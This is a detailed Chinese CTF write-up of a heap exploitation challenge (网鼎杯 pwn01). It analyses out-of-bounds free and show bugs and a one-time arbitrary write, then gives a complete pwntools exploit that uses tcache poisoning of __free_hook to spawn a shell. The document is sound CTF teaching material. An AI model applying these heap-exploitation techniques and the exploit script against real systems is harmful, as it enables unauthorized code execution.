selph
selph
Published on 2024-11-09 / 62 Visits
1
0

网鼎杯白虎组 pwn01 超详细分析

前言

首发于先知社区:https://xz.aliyun.com/t/16074?time__1311=GuD%3DYKBK7IeRx05DKA81tDkFG8Bpphm3x

题目来自网鼎杯白虎组初赛pwn01,这个题目是常规的堆菜单题,但没有常见的堆溢出,双重释放,UAF问题,问题始于OOB漏洞,完成该题目的关键是想清楚OOB的利用目标,以及提供给了一个任意地址写666666的机会,只能写一次,这个又要如何使用,非常关键,然后其他的就是关于堆风水布局,劫持tcache指针,打Hook相关的知识了,蛮综合的一个题目

题目情况

题目给了一个libc-2.31.so,没给ld文件,得自己找一个

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

保护全开

逆向分析

运行菜单:

0e0e1f2c436a63282b6bd848a3be1105 ➤ ./pwn
1.add_chunk
2.delete_chunk
3.edit_chunk
4.show_chunk
Input your choice

main:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        add_chunk();
        break;
      case 2:
        delete_chunk();                         // OOB
        break;
      case 3:
        edit_chunk();                           // 任意地址写666666
        break;
      case 4:
        show_chunk();                           // OOB
        break;
      case 5:
        puts("bye");
        exit(0);
      default:
        continue;
    }
  }
}                                               // 有一个OOB的free和show,泄露出elf地址,还有一次任意地址写666666的机会

4个选项,其中case1:add_chunk

unsigned __int64 add_chunk()
{
  int idx; // ebx
  int idx_; // ebx
  char buf[24]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  if ( (unsigned int)chunk_index > 0x20 )       // chunk限制32个
    exit(0);
  if ( ptr[chunk_index] )
  {
    puts("error");
    exit(0);
  }
  puts("Size :");
  read(0, buf, 8uLL);
  if ( atoi(buf) > 0x1000 || atoi(buf) <= 0x90 )// 必须大于0x90,小于0x1000
  {
    puts("error");
    exit(1);
  }
  idx = chunk_index;
  chunk_length[idx] = atoi(buf);                // size装入数组
  idx_ = chunk_index;
  ptr[idx_] = (__int64)malloc((int)chunk_length[chunk_index]);// 申请内存
  puts("Content :");
  read(0, (void *)ptr[chunk_index], chunk_length[chunk_index]);// 读取内容
                                                // 无溢出
  ++chunk_index;
  return __readfsqword(0x28u) ^ v4;
}

申请的chunk限制不能超过0x20次

大小也有要求,必须是<=0x1000字节,且>0x90字节

满足要求之后,将读取的size装入数组中,将申请的内存也装入数组中,读取用户输入到该内存

不存在溢出

case2:delete_chunk

unsigned __int64 delete_chunk()
{
  int v1[27]; // [rsp+Ch] [rbp-74h] BYREF
  unsigned __int64 v2; // [rsp+78h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Index :");
  __isoc99_scanf("%d", v1);                     // 没有校验释放的指针索引范围,OOB?可以输入负数
  free((void *)ptr[v1[0]]);
  ptr[v1[0]] = 0LL;                             // 指针清零了
                                                // 无uaf,double-free
                                                // 但是size数组没有清零
  return __readfsqword(0x28u) ^ v2;
}

这里刚开始看的时候一时间没看出来什么问题,获取数组索引,然后释放该索引对应的内存,数组指针清空

后来意识到,在申请的时候,有校验数组索引不超过0x20,而这里没有

存在OOB漏洞,可以越界释放,但是需要找一个fake header

case3:edit_chunk

unsigned __int64 edit_chunk()
{
  _DWORD *buf; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("one chance for you");
  if ( a )                                      // 全局变量
                                                // 只能一次
    exit(1);
  puts("content :");
  read(0, &buf, 8uLL);                          // 读取8字节到缓冲区,输入地址
  *buf = 0xA2C2A;                               // 修改内容为666666
                                                // 任意地址写666666
  ++a;
  return __readfsqword(0x28u) ^ v2;
}

这里的a是全局变量,然后读取一个8字节地址,向该地址写入666666,也就是0xa2c2a

但是这里的buf是DWORD类型,写入的数据实际上是4个字节

这里题目给了一个任意地址写666666的操作

case4:show_chunk

unsigned __int64 show_chunk()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Index :");
  __isoc99_scanf("%d", &v1);
  puts((const char *)ptr[v1]);                  // 任意打印,OOB
  return __readfsqword(0x28u) ^ v2;
}

类似delete_chunk,没有索引的大小验证,所以这里也存在OOB,可以任意读取

需要找一个指向指针的指针来泄露数据

利用分析

计划制定

整理一下现状:

  1. 程序存在OOB漏洞,可以越界释放内存,读取内存
  2. 程序提供了一次任意地址写666666的机会
  3. 程序动态链接libc-2.31版本,存在Hook可用
  4. 内存只有在申请的时候可以写入数据,然后再也不能写入数据了,且无溢出

程序存在指针数组和大小数组,需要pie泄露才能用,而任意地址写666666也需要pie泄露,我猜是用来写指针数组的或者写大小数组的

而通过OOB泄露内存地址,有可能可以获取到pie地址泄露

那么思路就是:

  1. 尝试OOB获取pie泄露
  2. 通过申请unsortedbin chunk释放再申请小块内存泄露libc地址
  3. 任意内存写篡改指针数组看看能做到什么
  4. 想办法得到一个重叠chunk,完成tcache bin chunk next指针伪造

辅助函数:

def cmd(i, prompt=b"Input your choice\n"):
    sla(prompt, i)

def add(sz:int,content:bytes):
    cmd('1')
    sla(b"Size :\n",str(sz).encode())
    sla(b"Content :\n",content)
    #......

def free(idx:int):
    cmd('2')
    sla(b"Index :\n",str(idx).encode())
    #......

def edit(content: bytes):
    cmd('3')
    sa(b"content :\n",content)
    #......

def show(idx: int):
    cmd('4')
    sla(b"Index :\n",str(idx).encode())
    #......

OOB leak pie address

程序运行起来,查看指针数组附近的内存:

pwndbg> x/50xa $rebase(0x4060)-0x100
0x555555557f60: 0x0     0x0
0x555555557f70: 0x0     0x3d88
0x555555557f80: 0x0     0x0
0x555555557f90 <free@got[plt]>: 0x7ffff7e6f6d0 <free>   0x7ffff7e59420 <puts>
0x555555557fa0 <__stack_chk_fail@got.plt>:      0x7ffff7f04a70 <__stack_chk_fail>       0x7ffff7ee2fc0 <read>
0x555555557fb0 <malloc@got[plt]>:       0x7ffff7e6f0e0 <malloc> 0x7ffff7e59ce0 <setvbuf>
0x555555557fc0 <atoi@got[plt]>: 0x7ffff7e195b0 <atoi>   0x7ffff7e380b0 <__isoc99_scanf>
0x555555557fd0 <exit@got[plt]>: 0x7ffff7e1ba40 <exit>   0x0
0x555555557fe0: 0x7ffff7df8f90 <__libc_start_main>      0x0
0x555555557ff0: 0x0     0x7ffff7e1bf10 <__cxa_finalize>
0x555555558000: 0x0     0x555555558008
0x555555558010: 0x0     0x0
0x555555558020 <stdout@@GLIBC_2.2.5>:   0x7ffff7fc26a0 <_IO_2_1_stdout_>        0x0
0x555555558030 <stdin@@GLIBC_2.2.5>:    0x7ffff7fc1980 <_IO_2_1_stdin_> 0x100000000
0x555555558040 <a>:     0x0     0x0
0x555555558050: 0x0     0x0
0x555555558060 <ptr>:   0x55555555b2a0  0x0
0x555555558070 <ptr+16>:        0x0     0x0
0x555555558080 <ptr+32>:        0x0     0x0
0x555555558090 <ptr+48>:        0x0     0x0
0x5555555580a0 <ptr+64>:        0x0     0x0
0x5555555580b0 <ptr+80>:        0x0     0x0
0x5555555580c0 <ptr+96>:        0x0     0x0
0x5555555580d0 <ptr+112>:       0x0     0x0
0x5555555580e0 <ptr+128>:       0x0     0x0

好巧不巧,这里正好有一个指向自己的指针:(是故意的还是有意的?)

0x555555558000: 0x0     0x555555558008

这里刚好能泄露出pie地址,计算偏移,这里是-11的位置

# leak pie address
show(-11)
leak = unpack(rl()[:-1],"all")
success(f"leak pie address: {hex(leak)}")

elf.address = leak-0x4008
success(f"elf base address: {hex(elf.address)}")

leak libc address

这里先放出代码:堆布局如下

# leak libc address
add(0x500,b"0")
add(0x108,b"1")
add(0x108,b"2")
free(0)
add(0x108,b"3")
show(3)

一个unsortedbin size chunk,后面的chunk是防止合并top chunk的

然后释放unsortedbin chunk,再申请小的chunk,此时发生的事情:

  1. 检查unsortedbin 大小是否刚好匹配,发现不匹配,把unsortedbin chunk sort进largebin 中,成为largebin chunk
  2. 发现没有合适的chunk,就从largebin中取出该chunk进行分割
  3. 分割出来的部分拿去分配,此时内存没有清空,残留的指针还在
  4. 分割剩下的部分继续进入unsortedbin

内存状态:

0x56126c051290  0x0000000000000000      0x0000000000000111      ................
0x56126c0512a0  0x00007fbdea590a33      0x00007fbdea59b010      3.Y.......Y.....
0x56126c0512b0  0x000056126c051290      0x000056126c051290      ...l.V.....l.V..
0x56126c0512c0  0x0000000000000000      0x0000000000000000      ................
0x56126c0512d0  0x0000000000000000      0x0000000000000000      ................
0x56126c0512e0  0x0000000000000000      0x0000000000000000      ................
0x56126c0512f0  0x0000000000000000      0x0000000000000000      ................
0x56126c051300  0x0000000000000000      0x0000000000000000      ................
0x56126c051310  0x0000000000000000      0x0000000000000000      ................
0x56126c051320  0x0000000000000000      0x0000000000000000      ................
0x56126c051330  0x0000000000000000      0x0000000000000000      ................
0x56126c051340  0x0000000000000000      0x0000000000000000      ................
0x56126c051350  0x0000000000000000      0x0000000000000000      ................
0x56126c051360  0x0000000000000000      0x0000000000000000      ................
0x56126c051370  0x0000000000000000      0x0000000000000000      ................
0x56126c051380  0x0000000000000000      0x0000000000000000      ................
0x56126c051390  0x0000000000000000      0x0000000000000000      ................
0x56126c0513a0  0x0000000000000000      0x0000000000000401      ................         <-- unsortedbin[all][0]
0x56126c0513b0  0x00007fbdea59abe0      0x00007fbdea59abe0      ..Y.......Y.....
0x56126c0513c0  0x0000000000000000      0x0000000000000000      ................
0x56126c0513d0  0x0000000000000000      0x0000000000000000      ................
0x56126c0513e0  0x0000000000000000      0x0000000000000000      ................
0x56126c0513f0  0x0000000000000000      0x0000000000000000      ................
0x56126c051400  0x0000000000000000      0x0000000000000000      ................
0x56126c051410  0x0000000000000000      0x0000000000000000      ................
0x56126c051420  0x0000000000000000      0x0000000000000000      ................
0x56126c051430  0x0000000000000000      0x0000000000000000      ................
0x56126c051440  0x0000000000000000      0x0000000000000000      ................
0x56126c051450  0x0000000000000000      0x0000000000000000      ................
0x56126c051460  0x0000000000000000      0x0000000000000000      ................
0x56126c051470  0x0000000000000000      0x0000000000000000      ................

由此泄露出libc地址和heap地址

play on arbitrary write 666666

此时的指针数组如下:

pwndbg> dq $rebase(0x4060)
000055eeb806b060     0000000000000000 000055eeb8d947b0
000055eeb806b070     000055eeb8d948c0 000055eeb8d942a0
000055eeb806b080     0000000000000000 0000000000000000
000055eeb806b090     0000000000000000 0000000000000000

此时OOB已经用完了,拿到了pie leak,libc leak和heap leak也拿到了

接下来该考虑如何使用这个任意地址写666666了

数组指针在申请的时候会装入,在释放的时候会清空,再无其他用处

大小数组也只有在申请的时候会写入,再无其他写入机会

所以能任意写的目标一定不是大小数组,而很可能是指针数组

经过尝试之后,发现我可以通过调整地址,让这一次任意写达到清空任意指针末尾字节的作用:

# arbitrary write 666666
edit(pack(elf.address + 0x4068-3))

此时的指针数组如下:

pwndbg> dq $rebase(0x4060)
0000561a322f5060     0a2c2a0000000000 0000561a32a72700
0000561a322f5070     0000561a32a728c0 0000561a32a722a0
0000561a322f5080     0000000000000000 0000000000000000
0000561a322f5090     0000000000000000 0000000000000000

那我再次释放内存的时候,岂不是从这个新的地址进行释放了!

此时的内存:

0x561a32a72260  0x0000000000000000      0x0000000000000000      ................
0x561a32a72270  0x0000000000000000      0x0000000000000000      ................
0x561a32a72280  0x0000000000000000      0x0000000000000000      ................
0x561a32a72290  0x0000000000000000      0x0000000000000111      ................
0x561a32a722a0  0x00007f225ffd0a33      0x00007f225ffd2010      3.._".... ._"...
0x561a32a722b0  0x0000561a32a72290      0x0000561a32a72290      .".2.V...".2.V..
0x561a32a722c0  0x0000000000000000      0x0000000000000000      ................
0x561a32a722d0  0x0000000000000000      0x0000000000000000      ................
0x561a32a722e0  0x0000000000000000      0x0000000000000000      ................
0x561a32a722f0  0x0000000000000000      0x0000000000000000      ................
0x561a32a72300  0x0000000000000000      0x0000000000000000      ................
0x561a32a72310  0x0000000000000000      0x0000000000000000      ................
0x561a32a72320  0x0000000000000000      0x0000000000000000      ................
0x561a32a72330  0x0000000000000000      0x0000000000000000      ................
0x561a32a72340  0x0000000000000000      0x0000000000000000      ................
0x561a32a72350  0x0000000000000000      0x0000000000000000      ................
0x561a32a72360  0x0000000000000000      0x0000000000000000      ................
0x561a32a72370  0x0000000000000000      0x0000000000000000      ................
0x561a32a72380  0x0000000000000000      0x0000000000000000      ................
0x561a32a72390  0x0000000000000000      0x0000000000000000      ................
0x561a32a723a0  0x0000000000000000      0x0000000000000401      ................         <-- unsortedbin[all][0]
0x561a32a723b0  0x00007f225ffd1be0      0x00007f225ffd1be0      ..._"......_"...
0x561a32a723c0  0x0000000000000000      0x0000000000000000      ................
0x561a32a723d0  0x0000000000000000      0x0000000000000000      ................
0x561a32a723e0  0x0000000000000000      0x0000000000000000      ................
0x561a32a723f0  0x0000000000000000      0x0000000000000000      ................
0x561a32a72400  0x0000000000000000      0x0000000000000000      ................
0x561a32a72410  0x0000000000000000      0x0000000000000000      ................
0x561a32a72420  0x0000000000000000      0x0000000000000000      ................
0x561a32a72430  0x0000000000000000      0x0000000000000000      ................
0x561a32a72440  0x0000000000000000      0x0000000000000000      ................

显然,这个地址位于tcache结构体内部,我无法在此处伪造chunk header

接下来就需要重新进行堆布局和伪造头部,完成这个fake chunk的释放了!

Heap Fengshui + forge chunk header

在原本的堆布局前面再加一个小的chunk,让unsortedbin size chunk申请的时候指针位于0x3xx这样的位置,这样就能够在这个小的chunk中间伪造chunk header了

payload0 = flat({
    0x58:pack(0x311)
},filler=b"\x00")
# leak libc address
add(0x108,payload0)
add(0x500,b"1")
add(0x108,b"2")
add(0x108,b"3")
free(1)
add(0x108,b"4")
show(4)

# arbitrary write 666666
edit(pack(elf.address + 0x4068-3 + 24))

此时的指针数组:

pwndbg> dq $rebase(0x4060)
000055a6f177d060     000055a6f37492a0 0000000000000000
000055a6f177d070     000055a6f37498c0 0a2c2aa6f37499d0
000055a6f177d080     000055a6f3749300 0000000000000000
000055a6f177d090     0000000000000000 0000000000000000

此时的内存:

0x55a6f3749290  0x0000000000000000      0x0000000000000111      ................		<-- chunk 0
0x55a6f37492a0  0x0000000000000000      0x0000000000000000      ................
0x55a6f37492b0  0x0000000000000000      0x0000000000000000      ................
0x55a6f37492c0  0x0000000000000000      0x0000000000000000      ................
0x55a6f37492d0  0x0000000000000000      0x0000000000000000      ................
0x55a6f37492e0  0x0000000000000000      0x0000000000000000      ................
0x55a6f37492f0  0x0000000000000000      0x0000000000000311      ................		<-- fake chunk header
0x55a6f3749300  0x000000000000000a      0x0000000000000000      ................
0x55a6f3749310  0x0000000000000000      0x0000000000000000      ................
0x55a6f3749320  0x0000000000000000      0x0000000000000000      ................
0x55a6f3749330  0x0000000000000000      0x0000000000000000      ................
0x55a6f3749340  0x0000000000000000      0x0000000000000000      ................
0x55a6f3749350  0x0000000000000000      0x0000000000000000      ................
0x55a6f3749360  0x0000000000000000      0x0000000000000000      ................
0x55a6f3749370  0x0000000000000000      0x0000000000000000      ................
0x55a6f3749380  0x0000000000000000      0x0000000000000000      ................
0x55a6f3749390  0x0000000000000000      0x0000000000000000      ................
0x55a6f37493a0  0x0000000000000000      0x0000000000000111      ................	    <-- chunk 4
0x55a6f37493b0  0x00007fe5ec120a34      0x00007fe5ec12f010      4...............
0x55a6f37493c0  0x000055a6f37493a0      0x000055a6f37493a0      ..t..U....t..U..
0x55a6f37493d0  0x0000000000000000      0x0000000000000000      ................
0x55a6f37493e0  0x0000000000000000      0x0000000000000000      ................
0x55a6f37493f0  0x0000000000000000      0x0000000000000000      ................
0x55a6f3749400  0x0000000000000000      0x0000000000000000      ................
0x55a6f3749410  0x0000000000000000      0x0000000000000000      ................
0x55a6f3749420  0x0000000000000000      0x0000000000000000      ................
0x55a6f3749430  0x0000000000000000      0x0000000000000000      ................
0x55a6f3749440  0x0000000000000000      0x0000000000000000      ................
0x55a6f3749450  0x0000000000000000      0x0000000000000000      ................
0x55a6f3749460  0x0000000000000000      0x0000000000000000      ................
0x55a6f3749470  0x0000000000000000      0x0000000000000000      ................
0x55a6f3749480  0x0000000000000000      0x0000000000000000      ................
0x55a6f3749490  0x0000000000000000      0x0000000000000000      ................
0x55a6f37494a0  0x0000000000000000      0x0000000000000000      ................
0x55a6f37494b0  0x0000000000000000      0x0000000000000401      ................         <-- unsortedbin[all][0]
0x55a6f37494c0  0x00007fe5ec12ebe0      0x00007fe5ec12ebe0      ................
0x55a6f37494d0  0x0000000000000000      0x0000000000000000      ................
0x55a6f37494e0  0x0000000000000000      0x0000000000000000      ................

此时释放该chunk,即可将fake chunk装入tcachebin,且size为0x310

此时的chunk4是失控的,因为他的指针被该了,无法进入内存,所以需要这个fake chunk能覆盖到下一个chunk上去,此时需要重新布局堆内存:

payload0 = flat({
    0x58:pack(0x311)
},filler=b"\x00")
# leak libc address
add(0x108,payload0)
add(0x500,b"1")
add(0x108,b"2")
add(0x108,b"3")
free(1)
add(0x108,b"4"*7)
add(0x108,b"5")
add(0x108,b"6")

内存布局如下

0x55b5eacb2290  0x0000000000000000      0x0000000000000111      ................		<-- chunk 0
0x55b5eacb22a0  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb22b0  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb22c0  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb22d0  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb22e0  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb22f0  0x0000000000000000      0x0000000000000311      ................
0x55b5eacb2300  0x0000000000000000      0x000055b5eacb2010      ......... ...U..         <-- tcachebins[0x310][0/1]
0x55b5eacb2310  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2320  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2330  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2340  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2350  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2360  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2370  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2380  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2390  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb23a0  0x0000000000000000      0x0000000000000111      ................		<-- chunk 4
0x55b5eacb23b0  0x0a34343434343434      0x00007f0b57b9d010      4444444....W....
0x55b5eacb23c0  0x000055b5eacb23a0      0x000055b5eacb23a0      .#...U...#...U..
0x55b5eacb23d0  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb23e0  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb23f0  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2400  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2410  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2420  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2430  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2440  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2450  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2460  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2470  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2480  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2490  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb24a0  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb24b0  0x0000000000000000      0x0000000000000111      ................		<- chunk 5
0x55b5eacb24c0  0x00007f0b57b90a35      0x00007f0b57b9cbe0      5..W.......W....
0x55b5eacb24d0  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb24e0  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb24f0  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2500  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2510  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2520  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2530  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2540  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2550  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2560  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2570  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2580  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb2590  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb25a0  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb25b0  0x0000000000000000      0x0000000000000000      ................
0x55b5eacb25c0  0x0000000000000000      0x0000000000000111      ................		<- chunk 6

得到了重叠chunk,再次申请一个0x308字节,就可以控制chunk5的内容了

Hijack tcachebin chunk next ptr

需要释放相同大小的chunk拿到可申请次数:

# tcache attack
payload1 = flat({
    0xa8:pack(0x111),
    0x1b8:pack(0x111),
    0x1c0:pack(0xdeadbeef) + pack(0xdeadbeef)
},filler=b"\x00")
free(6)
free(5)
add(0x308,payload1)

此时的内存:

0x560c25329290  0x0000000000000000      0x0000000000000111      ................		<-- chunk 0
0x560c253292a0  0x0000000000000000      0x0000000000000000      ................
0x560c253292b0  0x0000000000000000      0x0000000000000000      ................
0x560c253292c0  0x0000000000000000      0x0000000000000000      ................
0x560c253292d0  0x0000000000000000      0x0000000000000000      ................
0x560c253292e0  0x0000000000000000      0x0000000000000000      ................
0x560c253292f0  0x0000000000000000      0x0000000000000311      ................		<-- fake chunk
0x560c25329300  0x0000000000000000      0x0000000000000000      ................
0x560c25329310  0x0000000000000000      0x0000000000000000      ................
0x560c25329320  0x0000000000000000      0x0000000000000000      ................
0x560c25329330  0x0000000000000000      0x0000000000000000      ................
0x560c25329340  0x0000000000000000      0x0000000000000000      ................
0x560c25329350  0x0000000000000000      0x0000000000000000      ................
0x560c25329360  0x0000000000000000      0x0000000000000000      ................
0x560c25329370  0x0000000000000000      0x0000000000000000      ................
0x560c25329380  0x0000000000000000      0x0000000000000000      ................
0x560c25329390  0x0000000000000000      0x0000000000000000      ................
0x560c253293a0  0x0000000000000000      0x0000000000000111      ................		<-- chunk 4
0x560c253293b0  0x0000000000000000      0x0000000000000000      ................
0x560c253293c0  0x0000000000000000      0x0000000000000000      ................
0x560c253293d0  0x0000000000000000      0x0000000000000000      ................
0x560c253293e0  0x0000000000000000      0x0000000000000000      ................
0x560c253293f0  0x0000000000000000      0x0000000000000000      ................
0x560c25329400  0x0000000000000000      0x0000000000000000      ................
0x560c25329410  0x0000000000000000      0x0000000000000000      ................
0x560c25329420  0x0000000000000000      0x0000000000000000      ................
0x560c25329430  0x0000000000000000      0x0000000000000000      ................
0x560c25329440  0x0000000000000000      0x0000000000000000      ................
0x560c25329450  0x0000000000000000      0x0000000000000000      ................
0x560c25329460  0x0000000000000000      0x0000000000000000      ................
0x560c25329470  0x0000000000000000      0x0000000000000000      ................
0x560c25329480  0x0000000000000000      0x0000000000000000      ................
0x560c25329490  0x0000000000000000      0x0000000000000000      ................
0x560c253294a0  0x0000000000000000      0x0000000000000000      ................
0x560c253294b0  0x0000000000000000      0x0000000000000111      ................		 <-- chunk5
0x560c253294c0  0x00000000deadbeef      0x00000000deadbeef      ................         <-- tcachebins[0x110][0/2]
0x560c253294d0  0x000000000000000a      0x0000000000000000      ................
0x560c253294e0  0x0000000000000000      0x0000000000000000      ................
0x560c253294f0  0x0000000000000000      0x0000000000000000      ................
0x560c25329500  0x0000000000000000      0x0000000000000000      ................
0x560c25329510  0x0000000000000000      0x0000000000000000      ................
0x560c25329520  0x0000000000000000      0x0000000000000000      ................
0x560c25329530  0x0000000000000000      0x0000000000000000      ................
0x560c25329540  0x0000000000000000      0x0000000000000000      ................
0x560c25329550  0x0000000000000000      0x0000000000000000      ................
0x560c25329560  0x0000000000000000      0x0000000000000000      ................
0x560c25329570  0x0000000000000000      0x0000000000000000      ................

此时的bin:

pwndbg> bin
tcachebins
0x110 [  2]: 0x560c253294c0 ◂— 0xdeadbeef
fastbins
empty
unsortedbin
all: 0x560c253296d0 —▸ 0x7f2a167d1be0 ◂— 0x560c253296d0
smallbins
empty
largebins
empty

可以看到,已经劫持了tcachebin chunk的next指针了

接下来就是申请走__free_hook写入system然后释放一个写有/bin/sh的chunk即可:

add(0x108,b"/bin/sh\x00")
add(0x108,pack(libc.sym.system))
free(8)

完整exp

#!/usr/bin/env python3
from pwncli import *
cli_script()
set_remote_libc('libc-2.31.so')

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i, prompt=b"Input your choice\n"):
    sla(prompt, i)

def add(sz:int,content:bytes):
    cmd('1')
    sla(b"Size :\n",str(sz).encode())
    sla(b"Content :\n",content)
    #......

def free(idx:int):
    cmd('2')
    sla(b"Index :\n",str(idx).encode())
    #......

def edit(content: bytes):
    cmd('3')
    sa(b"content :\n",content)
    #......

def show(idx: int):
    cmd('4')
    sla(b"Index :\n",str(idx).encode())
    #......


# leak pie address
show(-11)
leak = unpack(rl()[:-1],"all")
success(f"leak pie address: {hex(leak)}")

elf.address = leak-0x4008
success(f"elf base address: {hex(elf.address)}")


payload0 = flat({
    0x58:pack(0x311)
},filler=b"\x00")
# leak libc address
add(0x108,payload0)
add(0x500,b"1")
add(0x108,b"2")
add(0x108,b"3")
free(1)
add(0x108,b"4"*7)
add(0x108,b"5")
add(0x108,b"6")

show(4)
leak = r(8+6)[8:]
leak = unpack(leak,"all")
success(f"leak libc address: {hex(leak)}")
libc.address = leak-0x1ed010 
success(f"libc base address: {hex(libc.address)}")

# arbitrary write 666666
edit(pack(elf.address + 0x4068-3 + 24))
free(4)

# tcache attack
payload1 = flat({
    0xa8:pack(0x111),
    0x1b8:pack(0x111),
    0x1c0:pack(libc.sym.__free_hook) + pack(0xdeadbeef)
},filler=b"\x00")
free(6)
free(5)
add(0x308,payload1)

add(0x108,b"/bin/sh\x00")
add(0x108,pack(libc.sym.system))
free(8)

ia()

Comment